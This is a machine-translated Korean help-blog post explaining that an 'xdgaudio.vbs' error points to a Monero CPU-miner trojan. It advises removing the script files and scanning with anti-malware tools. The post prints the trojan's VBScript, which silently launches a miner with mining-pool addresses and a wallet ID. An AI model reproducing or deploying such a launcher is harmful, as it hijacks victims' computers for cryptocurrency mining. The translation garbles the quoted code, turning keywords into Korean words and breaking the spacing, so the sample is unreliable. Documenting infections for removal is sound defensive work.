시스템에 "xdgaudio.vbs"와 관련된 다음 오류 메시지가 표시되면 컴퓨터가 감염되었을 가능성이 큽니다.
스크립트: C:\windows\xdgaudio.vbs
라인: 3
문자: 1
오류: 시스템이 지정된 파일을 찾을 수 없습니다.
코드: 80070002
출처: (null)
메모장으로 편집할 때 스크립트에는 다음과 같은 줄이 포함될 수 있습니다.
희미한 WShell. 설정 WShell = CreateObject("WScript. 껍데기") WShell. "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o를 실행하십시오. 지층+tcp://xmr-eu.dwarfpool.com: 8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv. 앱 -p x -k -o stratum+tcp://mine.moneropool.com: 3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aV -p x", 0. WShell = 없음 설정이것은 확실히 컴퓨터 속도를 늦출 뿐만 아니라 보안 위협을 제기할 수 있는 CPU/암호화폐 Miner 트로이 목마처럼 보입니다. 스크립트 파일 c:\windows\xdgaudio.vbs 그리고 c:\windows\servicecrsssr.vbs 삭제해야 합니다. 그것은 충분하지 않아. Malwarebytes 맬웨어 방지 프로그램을 사용하여 철저한 검사를 실행하고 사용 중인 바이러스 백신 소프트웨어로 검사합니다.
이러한 광부 트로이 목마 제거에 대한 자세한 지침은 Malwaretips.com 가이드를 확인하십시오. Windows에서 CPU Miner 트로이 목마를 제거하는 방법(바이러스 도움말 안내).
작은 요청 하나: 이 게시물이 마음에 들면 공유해 주세요.
귀하의 "작은" 공유 하나가 이 블로그의 성장에 많은 도움이 될 것입니다. 몇 가지 훌륭한 제안:- 그것을 핀!
- 좋아하는 블로그 + Facebook, Reddit에 공유
- 트윗해!